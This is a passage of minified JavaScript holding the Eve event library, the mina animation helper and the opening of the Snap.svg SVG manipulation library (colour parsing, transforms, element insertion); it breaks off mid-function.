!function(a){var b,c,d="0.4.2",e="hasOwnProperty",f=/[\.\/]/,g=/\s*,\s*/,h="*",i=function(a,b){return a-b},j={n:{}},k=function(){for(var a=0,b=this.length;b>a;a++)if("undefined"!=typeof this[a])return this[a]},l=function(){for(var a=this.length;--a;)if("undefined"!=typeof this[a])return this[a]},m=function(a,d){a=String(a);var e,f=c,g=Array.prototype.slice.call(arguments,2),h=m.listeners(a),j=0,n=[],o={},p=[],q=b;p.firstDefined=k,p.lastDefined=l,b=a,c=0;for(var r=0,s=h.length;s>r;r++)"zIndex"in h[r]&&(n.push(h[r].zIndex),h[r].zIndex<0&&(o[h[r].zIndex]=h[r]));for(n.sort(i);n[j]<0;)if(e=o[n[j++]],p.push(e.apply(d,g)),c)return c=f,p;for(r=0;s>r;r++)if(e=h[r],"zIndex"in e)if(e.zIndex==n[j]){if(p.push(e.apply(d,g)),c)break;do if(j++,e=o[n[j]],e&&p.push(e.apply(d,g)),c)break;while(e)}else o[e.zIndex]=e;else if(p.push(e.apply(d,g)),c)break;return c=f,b=q,p};m._events=j,m.listeners=function(a){var b,c,d,e,g,i,k,l,m=a.split(f),n=j,o=[n],p=[];for(e=0,g=m.length;g>e;e++){for(l=[],i=0,k=o.length;k>i;i++)for(n=o[i].n,c=[n[m[e]],n[h]],d=2;d--;)b=c[d],b&&(l.push(b),p=p.concat(b.f||[]));o=l}return p},m.on=function(a,b){if(a=String(a),"function"!=typeof b)return function(){};for(var c=a.split(g),d=0,e=c.length;e>d;d++)!function(a){for(var c,d=a.split(f),e=j,g=0,h=d.length;h>g;g++)e=e.n,e=e.hasOwnProperty(d[g])&&e[d[g]]||(e[d[g]]={n:{}});for(e.f=e.f||[],g=0,h=e.f.length;h>g;g++)if(e.f[g]==b){c=!0;break}!c&&e.f.push(b)}(c[d]);return function(a){+a==+a&&(b.zIndex=+a)}},m.f=function(a){var b=[].slice.call(arguments,1);return function(){m.apply(null,[a,null].concat(b).concat([].slice.call(arguments,0)))}},m.stop=function(){c=1},m.nt=function(a){return a?new RegExp("(?:\\.|\\/|^)"+a+"(?:\\.|\\/|$)").test(b):b},m.nts=function(){return b.split(f)},m.off=m.unbind=function(a,b){if(!a)return void(m._events=j={n:{}});var c=a.split(g);if(c.length>1)for(var d=0,i=c.length;i>d;d++)m.off(c[d],b);else{c=a.split(f);var k,l,n,d,i,o,p,q=[j];for(d=0,i=c.length;i>d;d++)for(o=0;o<q.length;o+=n.length-2){if(n=[o,1],k=q[o].n,c[d]!=h)k[c[d]]&&n.push(k[c[d]]);else for(l in k)k[e](l)&&n.push(k[l]);q.splice.apply(q,n)}for(d=0,i=q.length;i>d;d++)for(k=q[d];k.n;){if(b){if(k.f){for(o=0,p=k.f.length;p>o;o++)if(k.f[o]==b){k.f.splice(o,1);break}!k.f.length&&delete k.f}for(l in k.n)if(k.n[e](l)&&k.n[l].f){var r=k.n[l].f;for(o=0,p=r.length;p>o;o++)if(r[o]==b){r.splice(o,1);break}!r.length&&delete k.n[l].f}}else{delete k.f;for(l in k.n)k.n[e](l)&&k.n[l].f&&delete k.n[l].f}k=k.n}}},m.once=function(a,b){var c=function(){return m.unbind(a,c),b.apply(this,arguments)};return m.on(a,c)},m.version=d,m.toString=function(){return"You are running Eve "+d},"undefined"!=typeof module&&module.exports?module.exports=m:"function"==typeof define&&define.amd?define("eve",[],function(){return m}):a.eve=m}(this),function(a,b){"function"==typeof define&&define.amd?define(["eve"],function(c){return b(a,c)}):b(a,a.eve)}(this,function(a,b){var c=function(b){var c={},d=a.requestAnimationFrame||a.webkitRequestAnimationFrame||a.mozRequestAnimationFrame||a.oRequestAnimationFrame||a.msRequestAnimationFrame||function(a){setTimeout(a,16)},e=Array.isArray||function(a){return a instanceof Array||"[object Array]"==Object.prototype.toString.call(a)},f=0,g="M"+(+new Date).toString(36),h=function(){return g+(f++).toString(36)},i=Date.now||function(){return+new Date},j=function(a){var b=this;if(null==a)return b.s;var c=b.s-a;b.b+=b.dur*c,b.B+=b.dur*c,b.s=a},k=function(a){var b=this;return null==a?b.spd:void(b.spd=a)},l=function(a){var b=this;return null==a?b.dur:(b.s=b.s*a/b.dur,void(b.dur=a))},m=function(){var a=this;delete c[a.id],a.update(),b("mina.stop."+a.id,a)},n=function(){var a=this;a.pdif||(delete c[a.id],a.update(),a.pdif=a.get()-a.b)},o=function(){var a=this;a.pdif&&(a.b=a.get()-a.pdif,delete a.pdif,c[a.id]=a)},p=function(){var a,b=this;if(e(b.start)){a=[];for(var c=0,d=b.start.length;d>c;c++)a[c]=+b.start[c]+(b.end[c]-b.start[c])*b.easing(b.s)}else a=+b.start+(b.end-b.start)*b.easing(b.s);b.set(a)},q=function(){var a=0;for(var e in c)if(c.hasOwnProperty(e)){var f=c[e],g=f.get();a++,f.s=(g-f.b)/(f.dur/f.spd),f.s>=1&&(delete c[e],f.s=1,a--,function(a){setTimeout(function(){b("mina.finish."+a.id,a)})}(f)),f.update()}a&&d(q)},r=function(a,b,e,f,g,i,s){var t={id:h(),start:a,end:b,b:e,s:0,dur:f-e,spd:1,get:g,set:i,easing:s||r.linear,status:j,speed:k,duration:l,stop:m,pause:n,resume:o,update:p};c[t.id]=t;var u,v=0;for(u in c)if(c.hasOwnProperty(u)&&(v++,2==v))break;return 1==v&&d(q),t};return r.time=i,r.getById=function(a){return c[a]||null},r.linear=function(a){return a},r.easeout=function(a){return Math.pow(a,1.7)},r.easein=function(a){return Math.pow(a,.48)},r.easeinout=function(a){if(1==a)return 1;if(0==a)return 0;var b=.48-a/1.04,c=Math.sqrt(.1734+b*b),d=c-b,e=Math.pow(Math.abs(d),1/3)*(0>d?-1:1),f=-c-b,g=Math.pow(Math.abs(f),1/3)*(0>f?-1:1),h=e+g+.5;return 3*(1-h)*h*h+h*h*h},r.backin=function(a){if(1==a)return 1;var b=1.70158;return a*a*((b+1)*a-b)},r.backout=function(a){if(0==a)return 0;a-=1;var b=1.70158;return a*a*((b+1)*a+b)+1},r.elastic=function(a){return a==!!a?a:Math.pow(2,-10*a)*Math.sin(2*(a-.075)*Math.PI/.3)+1},r.bounce=function(a){var b,c=7.5625,d=2.75;return 1/d>a?b=c*a*a:2/d>a?(a-=1.5/d,b=c*a*a+.75):2.5/d>a?(a-=2.25/d,b=c*a*a+.9375):(a-=2.625/d,b=c*a*a+.984375),b},a.mina=r,r}("undefined"==typeof b?function(){}:b),d=function(){function d(a,b){if(a){if(a.tagName)return y(a);if(f(a,"array")&&d.set)return d.set.apply(d,a);if(a instanceof u)return a;if(null==b)return a=z.doc.querySelector(a),y(a)}return a=null==a?"100%":a,b=null==b?"100%":b,new x(a,b)}function e(a,b){if(b){if("#text"==a&&(a=z.doc.createTextNode(b.text||"")),"string"==typeof a&&(a=e(a)),"string"==typeof b)return"xlink:"==b.substring(0,6)?a.getAttributeNS(W,b.substring(6)):"xml:"==b.substring(0,4)?a.getAttributeNS(X,b.substring(4)):a.getAttribute(b);for(var c in b)if(b[A](c)){var d=B(b[c]);d?"xlink:"==c.substring(0,6)?a.setAttributeNS(W,c.substring(6),d):"xml:"==c.substring(0,4)?a.setAttributeNS(X,c.substring(4),d):a.setAttribute(c,d):a.removeAttribute(c)}}else a=z.doc.createElementNS(X,a);return a}function f(a,b){return b=B.prototype.toLowerCase.call(b),"finite"==b?isFinite(a):"array"==b&&(a instanceof Array||Array.isArray&&Array.isArray(a))?!0:"null"==b&&null===a||b==typeof a&&null!==a||"object"==b&&a===Object(a)||L.call(a).slice(8,-1).toLowerCase()==b}function h(a){if("function"==typeof a||Object(a)!==a)return a;var b=new a.constructor;for(var c in a)a[A](c)&&(b[c]=h(a[c]));return b}function i(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return a.push(a.splice(c,1)[0])}function j(a,b,c){function d(){var e=Array.prototype.slice.call(arguments,0),f=e.join("␀"),g=d.cache=d.cache||{},h=d.count=d.count||[];return g[A](f)?(i(h,f),c?c(g[f]):g[f]):(h.length>=1e3&&delete g[h.shift()],h.push(f),g[f]=a.apply(b,e),c?c(g[f]):g[f])}return d}function k(a,b,c,d,e,f){if(null==e){var g=a-c,h=b-d;return g||h?(180+180*E.atan2(-h,-g)/I+360)%360:0}return k(a,b,e,f)-k(c,d,e,f)}function l(a){return a%360*I/180}function m(a){return 180*a/I%360}function n(a){var b=[];return a=a.replace(/(?:^|\s)(\w+)\(([^)]+)\)/g,function(a,c,d){return d=d.split(/\s*,\s*|\s+/),"rotate"==c&&1==d.length&&d.push(0,0),"scale"==c&&(d.length>2?d=d.slice(0,2):2==d.length&&d.push(0,0),1==d.length&&d.push(d[0],0,0)),b.push("skewX"==c?["m",1,0,E.tan(l(d[0])),1,0,0]:"skewY"==c?["m",1,E.tan(l(d[0])),0,1,0,0]:[c.charAt(0)].concat(d)),a}),b}function o(a,b){var c=eb(a),e=new d.Matrix;if(c)for(var f=0,g=c.length;g>f;f++){var h,i,j,k,l,m=c[f],n=m.length,o=B(m[0]).toLowerCase(),p=m[0]!=o,q=p?e.invert():0;"t"==o&&2==n?e.translate(m[1],0):"t"==o&&3==n?p?(h=q.x(0,0),i=q.y(0,0),j=q.x(m[1],m[2]),k=q.y(m[1],m[2]),e.translate(j-h,k-i)):e.translate(m[1],m[2]):"r"==o?2==n?(l=l||b,e.rotate(m[1],l.x+l.width/2,l.y+l.height/2)):4==n&&(p?(j=q.x(m[2],m[3]),k=q.y(m[2],m[3]),e.rotate(m[1],j,k)):e.rotate(m[1],m[2],m[3])):"s"==o?2==n||3==n?(l=l||b,e.scale(m[1],m[n-1],l.x+l.width/2,l.y+l.height/2)):4==n?p?(j=q.x(m[2],m[3]),k=q.y(m[2],m[3]),e.scale(m[1],m[1],j,k)):e.scale(m[1],m[1],m[2],m[3]):5==n&&(p?(j=q.x(m[3],m[4]),k=q.y(m[3],m[4]),e.scale(m[1],m[2],j,k)):e.scale(m[1],m[2],m[3],m[4])):"m"==o&&7==n&&e.add(m[1],m[2],m[3],m[4],m[5],m[6])}return e}function p(a,b){if(null==b){var c=!0;if(b=a.node.getAttribute("linearGradient"==a.type||"radialGradient"==a.type?"gradientTransform":"pattern"==a.type?"patternTransform":"transform"),!b)return new d.Matrix;b=n(b)}else b=d._.rgTransform.test(b)?B(b).replace(/\.{3}|\u2026/g,a._.transform||J):n(b),f(b,"array")&&(b=d.path?d.path.toString.call(b):B(b)),a._.transform=b;var e=o(b,a.getBBox(1));return c?e:void(a.matrix=e)}function q(a){var b=a.node.ownerSVGElement&&y(a.node.ownerSVGElement)||a.node.parentNode&&y(a.node.parentNode)||d.select("svg")||d(0,0),c=b.select("defs"),e=null==c?!1:c.node;return e||(e=w("defs",b.node).node),e}function r(a){return a.node.ownerSVGElement&&y(a.node.ownerSVGElement)||d.select("svg")}function s(a,b,c){function d(a){if(null==a)return J;if(a==+a)return a;e(j,{width:a});try{return j.getBBox().width}catch(b){return 0}}function f(a){if(null==a)return J;if(a==+a)return a;e(j,{height:a});try{return j.getBBox().height}catch(b){return 0}}function g(d,e){null==b?i[d]=e(a.attr(d)||0):d==b&&(i=e(null==c?a.attr(d)||0:c))}var h=r(a).node,i={},j=h.querySelector(".svg---mgr");switch(j||(j=e("rect"),e(j,{x:-9e9,y:-9e9,width:10,height:10,"class":"svg---mgr",fill:"none"}),h.appendChild(j)),a.type){case"rect":g("rx",d),g("ry",f);case"image":g("width",d),g("height",f);case"text":g("x",d),g("y",f);break;case"circle":g("cx",d),g("cy",f),g("r",d);break;case"ellipse":g("cx",d),g("cy",f),g("rx",d),g("ry",f);break;case"line":g("x1",d),g("x2",d),g("y1",f),g("y2",f);break;case"marker":g("refX",d),g("markerWidth",d),g("refY",f),g("markerHeight",f);break;case"radialGradient":g("fx",d),g("fy",f);break;case"tspan":g("dx",d),g("dy",f);break;default:g(b,d)}return h.removeChild(j),i}function t(a){f(a,"array")||(a=Array.prototype.slice.call(arguments,0));for(var b=0,c=0,d=this.node;this[b];)delete this[b++];for(b=0;b<a.length;b++)"set"==a[b].type?a[b].forEach(function(a){d.appendChild(a.node)}):d.appendChild(a[b].node);var e=d.childNodes;for(b=0;b<e.length;b++)this[c++]=y(e[b]);return this}function u(a){if(a.snap in Y)return Y[a.snap];var b,c=this.id=V();try{b=a.ownerSVGElement}catch(d){}if(this.node=a,b&&(this.paper=new x(b)),this.type=a.tagName,this.anims={},this._={transform:[]},a.snap=c,Y[c]=this,"g"==this.type&&(this.add=t),this.type in{g:1,mask:1,pattern:1})for(var e in x.prototype)x.prototype[A](e)&&(this[e]=x.prototype[e])}function v(a){this.node=a}function w(a,b){var c=e(a);b.appendChild(c);var d=y(c);return d}function x(a,b){var c,d,f,g=x.prototype;if(a&&"svg"==a.tagName){if(a.snap in Y)return Y[a.snap];var h=a.ownerDocument;c=new u(a),d=a.getElementsByTagName("desc")[0],f=a.getElementsByTagName("defs")[0],d||(d=e("desc"),d.appendChild(h.createTextNode("Created with Snap")),c.node.appendChild(d)),f||(f=e("defs"),c.node.appendChild(f)),c.defs=f;for(var i in g)g[A](i)&&(c[i]=g[i]);c.paper=c.root=c}else c=w("svg",z.doc.body),e(c.node,{height:b,version:1.1,width:a,xmlns:X});return c}function y(a){return a?a instanceof u||a instanceof v?a:a.tagName&&"svg"==a.tagName.toLowerCase()?new x(a):a.tagName&&"object"==a.tagName.toLowerCase()&&"image/svg+xml"==a.type?new x(a.contentDocument.getElementsByTagName("svg")[0]):new u(a):a}d.version="0.3.0",d.toString=function(){return"Snap v"+this.version},d._={};var z={win:a,doc:a.document};d._.glob=z;var A="hasOwnProperty",B=String,C=parseFloat,D=parseInt,E=Math,F=E.max,G=E.min,H=E.abs,I=(E.pow,E.PI),J=(E.round,""),K=" ",L=Object.prototype.toString,M=/^\s*((#[a-f\d]{6})|(#[a-f\d]{3})|rgba?\(\s*([\d\.]+%?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+%?)?)\s*\)|hsba?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?%?)\s*\)|hsla?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?%?)\s*\))\s*$/i,N="	\n\f\r   ᠎              \u2028\u2029",O=(d._.separator=new RegExp("[,"+N+"]+"),new RegExp("["+N+"]","g"),new RegExp("["+N+"]*,["+N+"]*")),P={hs:1,rg:1},Q=new RegExp("([a-z])["+N+",]*((-?\\d*\\.?\\d*(?:e[\\-+]?\\d+)?["+N+"]*,?["+N+"]*)+)","ig"),R=new RegExp("([rstm])["+N+",]*((-?\\d*\\.?\\d*(?:e[\\-+]?\\d+)?["+N+"]*,?["+N+"]*)+)","ig"),S=new RegExp("(-?\\d*\\.?\\d*(?:e[\\-+]?\\d+)?)["+N+"]*,?["+N+"]*","ig"),T=0,U="S"+(+new Date).toString(36),V=function(){return U+(T++).toString(36)},W="http://www.w3.org/1999/xlink",X="http://www.w3.org/2000/svg",Y={},Z=d.url=function(a){return"url('#"+a+"')"};d._.$=e,d._.id=V,d.format=function(){var a=/\{([^\}]+)\}/g,b=/(?:(?:^|\.)(.+?)(?=\[|\.|$|\()|\[('|")(.+?)\2\])(\(\))?/g,c=function(a,c,d){var e=d;return c.replace(b,function(a,b,c,d,f){b=b||d,e&&(b in e&&(e=e[b]),"function"==typeof e&&f&&(e=e()))}),e=(null==e||e==d?a:e)+""};return function(b,d){return B(b).replace(a,function(a,b){return c(a,b,d)})}}(),d._.clone=h,d._.cacher=j,d.rad=l,d.deg=m,d.angle=k,d.is=f,d.snapTo=function(a,b,c){if(c=f(c,"finite")?c:10,f(a,"array")){for(var d=a.length;d--;)if(H(a[d]-b)<=c)return a[d]}else{a=+a;var e=b%a;if(c>e)return b-e;if(e>a-c)return b-e+a}return b},d.getRGB=j(function(a){if(!a||(a=B(a)).indexOf("-")+1)return{r:-1,g:-1,b:-1,hex:"none",error:1,toString:bb};if("none"==a)return{r:-1,g:-1,b:-1,hex:"none",toString:bb};if(!(P[A](a.toLowerCase().substring(0,2))||"#"==a.charAt())&&(a=$(a)),!a)return{r:-1,g:-1,b:-1,hex:"none",error:1,toString:bb};var b,c,e,g,h,i,j=a.match(M);return j?(j[2]&&(e=D(j[2].substring(5),16),c=D(j[2].substring(3,5),16),b=D(j[2].substring(1,3),16)),j[3]&&(e=D((h=j[3].charAt(3))+h,16),c=D((h=j[3].charAt(2))+h,16),b=D((h=j[3].charAt(1))+h,16)),j[4]&&(i=j[4].split(O),b=C(i[0]),"%"==i[0].slice(-1)&&(b*=2.55),c=C(i[1]),"%"==i[1].slice(-1)&&(c*=2.55),e=C(i[2]),"%"==i[2].slice(-1)&&(e*=2.55),"rgba"==j[1].toLowerCase().slice(0,4)&&(g=C(i[3])),i[3]&&"%"==i[3].slice(-1)&&(g/=100)),j[5]?(i=j[5].split(O),b=C(i[0]),"%"==i[0].slice(-1)&&(b/=100),c=C(i[1]),"%"==i[1].slice(-1)&&(c/=100),e=C(i[2]),"%"==i[2].slice(-1)&&(e/=100),("deg"==i[0].slice(-3)||"°"==i[0].slice(-1))&&(b/=360),"hsba"==j[1].toLowerCase().slice(0,4)&&(g=C(i[3])),i[3]&&"%"==i[3].slice(-1)&&(g/=100),d.hsb2rgb(b,c,e,g)):j[6]?(i=j[6].split(O),b=C(i[0]),"%"==i[0].slice(-1)&&(b/=100),c=C(i[1]),"%"==i[1].slice(-1)&&(c/=100),e=C(i[2]),"%"==i[2].slice(-1)&&(e/=100),("deg"==i[0].slice(-3)||"°"==i[0].slice(-1))&&(b/=360),"hsla"==j[1].toLowerCase().slice(0,4)&&(g=C(i[3])),i[3]&&"%"==i[3].slice(-1)&&(g/=100),d.hsl2rgb(b,c,e,g)):(b=G(E.round(b),255),c=G(E.round(c),255),e=G(E.round(e),255),g=G(F(g,0),1),j={r:b,g:c,b:e,toString:bb},j.hex="#"+(16777216|e|c<<8|b<<16).toString(16).slice(1),j.opacity=f(g,"finite")?g:1,j)):{r:-1,g:-1,b:-1,hex:"none",error:1,toString:bb}},d),d.hsb=j(function(a,b,c){return d.hsb2rgb(a,b,c).hex}),d.hsl=j(function(a,b,c){return d.hsl2rgb(a,b,c).hex}),d.rgb=j(function(a,b,c,d){if(f(d,"finite")){var e=E.round;return"rgba("+[e(a),e(b),e(c),+d.toFixed(2)]+")"}return"#"+(16777216|c|b<<8|a<<16).toString(16).slice(1)});var $=function(a){var b=z.doc.getElementsByTagName("head")[0]||z.doc.getElementsByTagName("svg")[0],c="rgb(255, 0, 0)";return($=j(function(a){if("red"==a.toLowerCase())return c;b.style.color=c,b.style.color=a;var d=z.doc.defaultView.getComputedStyle(b,J).getPropertyValue("color");return d==c?null:d}))(a)},_=function(){return"hsb("+[this.h,this.s,this.b]+")"},ab=function(){return"hsl("+[this.h,this.s,this.l]+")"},bb=function(){return 1==this.opacity||null==this.opacity?this.hex:"rgba("+[this.r,this.g,this.b,this.opacity]+")"},cb=function(a,b,c){if(null==b&&f(a,"object")&&"r"in a&&"g"in a&&"b"in a&&(c=a.b,b=a.g,a=a.r),null==b&&f(a,string)){var e=d.getRGB(a);a=e.r,b=e.g,c=e.b}return(a>1||b>1||c>1)&&(a/=255,b/=255,c/=255),[a,b,c]},db=function(a,b,c,e){a=E.round(255*a),b=E.round(255*b),c=E.round(255*c);var g={r:a,g:b,b:c,opacity:f(e,"finite")?e:1,hex:d.rgb(a,b,c),toString:bb};return f(e,"finite")&&(g.opacity=e),g};d.color=function(a){var b;return f(a,"object")&&"h"in a&&"s"in a&&"b"in a?(b=d.hsb2rgb(a),a.r=b.r,a.g=b.g,a.b=b.b,a.opacity=1,a.hex=b.hex):f(a,"object")&&"h"in a&&"s"in a&&"l"in a?(b=d.hsl2rgb(a),a.r=b.r,a.g=b.g,a.b=b.b,a.opacity=1,a.hex=b.hex):(f(a,"string")&&(a=d.getRGB(a)),f(a,"object")&&"r"in a&&"g"in a&&"b"in a&&!("error"in a)?(b=d.rgb2hsl(a),a.h=b.h,a.s=b.s,a.l=b.l,b=d.rgb2hsb(a),a.v=b.b):(a={hex:"none"},a.r=a.g=a.b=a.h=a.s=a.v=a.l=-1,a.error=1)),a.toString=bb,a},d.hsb2rgb=function(a,b,c,d){f(a,"object")&&"h"in a&&"s"in a&&"b"in a&&(c=a.b,b=a.s,a=a.h,d=a.o),a*=360;var e,g,h,i,j;return a=a%360/60,j=c*b,i=j*(1-H(a%2-1)),e=g=h=c-j,a=~~a,e+=[j,i,0,0,i,j][a],g+=[i,j,j,i,0,0][a],h+=[0,0,i,j,j,i][a],db(e,g,h,d)},d.hsl2rgb=function(a,b,c,d){f(a,"object")&&"h"in a&&"s"in a&&"l"in a&&(c=a.l,b=a.s,a=a.h),(a>1||b>1||c>1)&&(a/=360,b/=100,c/=100),a*=360;var e,g,h,i,j;return a=a%360/60,j=2*b*(.5>c?c:1-c),i=j*(1-H(a%2-1)),e=g=h=c-j/2,a=~~a,e+=[j,i,0,0,i,j][a],g+=[i,j,j,i,0,0][a],h+=[0,0,i,j,j,i][a],db(e,g,h,d)},d.rgb2hsb=function(a,b,c){c=cb(a,b,c),a=c[0],b=c[1],c=c[2];var d,e,f,g;return f=F(a,b,c),g=f-G(a,b,c),d=0==g?null:f==a?(b-c)/g:f==b?(c-a)/g+2:(a-b)/g+4,d=(d+360)%6*60/360,e=0==g?0:g/f,{h:d,s:e,b:f,toString:_}},d.rgb2hsl=function(a,b,c){c=cb(a,b,c),a=c[0],b=c[1],c=c[2];var d,e,f,g,h,i;return g=F(a,b,c),h=G(a,b,c),i=g-h,d=0==i?null:g==a?(b-c)/i:g==b?(c-a)/i+2:(a-b)/i+4,d=(d+360)%6*60/360,f=(g+h)/2,e=0==i?0:.5>f?i/(2*f):i/(2-2*f),{h:d,s:e,l:f,toString:ab}},d.parsePathString=function(a){if(!a)return null;var b=d.path(a);if(b.arr)return d.path.clone(b.arr);var c={a:7,c:6,o:2,h:1,l:2,m:2,r:4,q:4,s:4,t:2,v:1,u:3,z:0},e=[];return f(a,"array")&&f(a[0],"array")&&(e=d.path.clone(a)),e.length||B(a).replace(Q,function(a,b,d){var f=[],g=b.toLowerCase();if(d.replace(S,function(a,b){b&&f.push(+b)}),"m"==g&&f.length>2&&(e.push([b].concat(f.splice(0,2))),g="l",b="m"==b?"l":"L"),"o"==g&&1==f.length&&e.push([b,f[0]]),"r"==g)e.push([b].concat(f));else for(;f.length>=c[g]&&(e.push([b].concat(f.splice(0,c[g]))),c[g]););}),e.toString=d.path.toString,b.arr=d.path.clone(e),e};var eb=d.parseTransformString=function(a){if(!a)return null;var b=[];return f(a,"array")&&f(a[0],"array")&&(b=d.path.clone(a)),b.length||B(a).replace(R,function(a,c,d){{var e=[];c.toLowerCase()}d.replace(S,function(a,b){b&&e.push(+b)}),b.push([c].concat(e))}),b.toString=d.path.toString,b};d._.svgTransform2string=n,d._.rgTransform=new RegExp("^[a-z]["+N+"]*-?\\.?\\d","i"),d._.transform2matrix=o,d._unit2px=s;z.doc.contains||z.doc.compareDocumentPosition?function(a,b){var c=9==a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a==d||!(!d||1!=d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)for(;b;)if(b=b.parentNode,b==a)return!0;return!1};d._.getSomeDefs=q,d._.getSomeSVG=r,d.select=function(a){return y(z.doc.querySelector(a))},d.selectAll=function(a){for(var b=z.doc.querySelectorAll(a),c=(d.set||Array)(),e=0;e<b.length;e++)c.push(y(b[e]));return c},setInterval(function(){for(var a in Y)if(Y[A](a)){var b=Y[a],c=b.node;("svg"!=b.type&&!c.ownerSVGElement||"svg"==b.type&&(!c.parentNode||"ownerSVGElement"in c.parentNode&&!c.ownerSVGElement))&&delete Y[a]}},1e4),function(a){function g(a){function b(a,b){var c=e(a.node,b);c=c&&c.match(g),c=c&&c[2],c&&"#"==c.charAt()&&(c=c.substring(1),c&&(i[c]=(i[c]||[]).concat(function(c){var d={};d[b]=Z(c),e(a.node,d)})))}function c(a){var b=e(a.node,"xlink:href");b&&"#"==b.charAt()&&(b=b.substring(1),b&&(i[b]=(i[b]||[]).concat(function(b){a.attr("xlink:href","#"+b)})))}for(var d,f=a.selectAll("*"),g=/^\s*url\(("|'|)(.*)\1\)\s*$/,h=[],i={},j=0,k=f.length;k>j;j++){d=f[j],b(d,"fill"),b(d,"stroke"),b(d,"filter"),b(d,"mask"),b(d,"clip-path"),c(d);var l=e(d.node,"id");l&&(e(d.node,{id:d.id}),h.push({old:l,id:d.id}))}for(j=0,k=h.length;k>j;j++){var m=i[h[j].old];if(m)for(var n=0,o=m.length;o>n;n++)m[n](h[j].id)}}function h(a,b,c){return function(d){var e=d.slice(a,b);return 1==e.length&&(e=e[0]),c?c(e):e}}function i(a){return function(){var b=a?"<"+this.type:"",c=this.node.attributes,d=this.node.childNodes;if(a)for(var e=0,f=c.length;f>e;e++)b+=" "+c[e].name+'="'+c[e].value.replace(/"/g,'\\"')+'"';if(d.length){for(a&&(b+=">"),e=0,f=d.length;f>e;e++)3==d[e].nodeType?b+=d[e].nodeValue:1==d[e].nodeType&&(b+=y(d[e]).toString());a&&(b+="</"+this.type+">")}else a&&(b+="/>");return b}}a.attr=function(a,c){{var d=this;d.node}if(!a)return d;if(f(a,"string")){if(!(arguments.length>1))return b("snap.util.getattr."+a,d).firstDefined();var e={};e[a]=c,a=e}for(var g in a)a[A](g)&&b("snap.util.attr."+g,d,a[g]);return d},a.getBBox=function(a){if(!d.Matrix||!d.path)return this.node.getBBox();var b=this,c=new d.Matrix;if(b.removed)return d._.box();for(;"use"==b.type;)if(a||(c=c.add(b.transform().localMatrix.translate(b.attr("x")||0,b.attr("y")||0))),b.original)b=b.original;else{var e=b.attr("xlink:href");b=b.original=b.node.ownerDocument.getElementById(e.substring(e.indexOf("#")+1))}var f=b._,g=d.path.get[b.type]||d.path.get.deflt;try{return a?(f.bboxwt=g?d.path.getBBox(b.realPath=g(b)):d._.box(b.node.getBBox()),d._.box(f.bboxwt)):(b.realPath=g(b),b.matrix=b.transform().localMatrix,f.bbox=d.path.getBBox(d.path.map(b.realPath,c.add(b.matrix))),d._.box(f.bbox))}catch(h){return d._.box()}};var j=function(){return this.string};a.transform=function(a){var b=this._;if(null==a){for(var c,f=this,g=new d.Matrix(this.node.getCTM()),h=p(this),i=[h],k=new d.Matrix,l=h.toTransformString(),m=B(h)==B(this.matrix)?B(b.transform):l;"svg"!=f.type&&(f=f.parent());)i.push(p(f));for(c=i.length;c--;)k.add(i[c]);return{string:m,globalMatrix:g,totalMatrix:k,localMatrix:h,diffMatrix:g.clone().add(h.invert()),global:g.toTransformString(),total:k.toTransformString(),local:l,toString:j}}return a instanceof d.Matrix?this.matrix=a:p(this,a),this.node&&("linearGradient"==this.type||"radialGradient"==this.type?e(this.node,{gradientTransform:this.matrix}):"pattern"==this.type?e(this.node,{patternTransform:this.matrix}):e(this.node,{transform:this.matrix})),this},a.parent=function(){return y(this.node.parentNode)},a.append=a.add=function(a){if(a){if("set"==a.type){var b=this;return a.forEach(function(a){b.add(a)}),this}a=y(a),this.node.appendChild(a.node),a.paper=this.paper}return this},a.appendTo=function(a){return a&&(a=y(a),a.append(this)),this},a.prepend=function(a){if(a){if("set"==a.type){var b,c=this;return a.forEach(function(a){b?b.after(a):c.prepend(a),b=a}),this}a=y(a);var d=a.parent();this.node.insertBefore(a.node,this.node.firstChild),this.add&&this.add(),a.paper=this.paper,this.parent()&&this.parent().add(),d&&d.add()}return this},a.prependTo=function(a){return a=y(a),a.prepend(this),this},a.before=function(a){if("set"==a.type){var b=this;return a.forEach(function(a){var c=a.parent();b.node.parentNode.insertBefore(a.node,b.node),c&&c.add()}),this.parent().add(),this}a=y(a);var c=a.parent();return this.node.parentNode.insertBefore(a.node,this.node),this.parent()&&this.parent().add(),c&&c.add(),a.paper=this.paper,this},a.after=function(a){a=y(a);var b=a.parent();return this.node.nextSibling?this.node.parentNode.insertBefore(a.node,this.node.nextSibling):this.node.parentNode.appendChild(a.node),this.parent()&&this.parent().add(),b&&b.add(),a.paper=this.paper,this},a.insertBefore=function(a){a=y(a);var b=this.parent();return a.node.parentNode.insertBefore(this.node,a.node),this.paper=a.paper,b&&b.add(),a.parent()&&a.parent().add(),this},a.insertAfter=function(a){a=y(a);var b=this.parent();return a.node.parentNode.insertBefore(this.node,a.node.nextSibling),this.paper=a.paper,b&&b.add(),a.parent()&&a.parent().add(),this},a.remove=function(){var a=this.parent();return this.node.parentNode&&this.node.parentNode.removeChild(this.node),delete this.paper,this.removed=!0,a&&a.add(),this},a.select=function(a){return y(this.node.querySelector(a))},a.selectAll=function(a){for(var b=this.node.querySelectorAll(a),c=(d.set||Array)(),e=0;e<b.length;e++)c.push(y(b[e]));return c},a.asPX=function(a,b){return null==b&&(b=this.attr(a)),+s(this,a,b)},a.use=function(){var a,b=this.node.id;return b||(b=this.id,e(this.node,{id:b})),a="linearGradient"==this.type||"radialGradient"==this.type||"pattern"==this.type?w(this.type,this.node.parentNode):w("use",this.node.parentNode),e(a.node,{"xlink:href":"#"+b}),a.original=this,a};var k=/\S+/g;a.addClass=function(a){var b,c,d,e,f=(a||"").match(k)||[],g=this.node,h=g.className.baseVal,i=h.match(k)||[];if(f.length){for(b=0;d=f[b++];)c=i.indexOf(d),~c||i.push(d);e=i.join(" "),h!=e&&(g.className.baseVal=e)}return this},a.removeClass=function(a){var 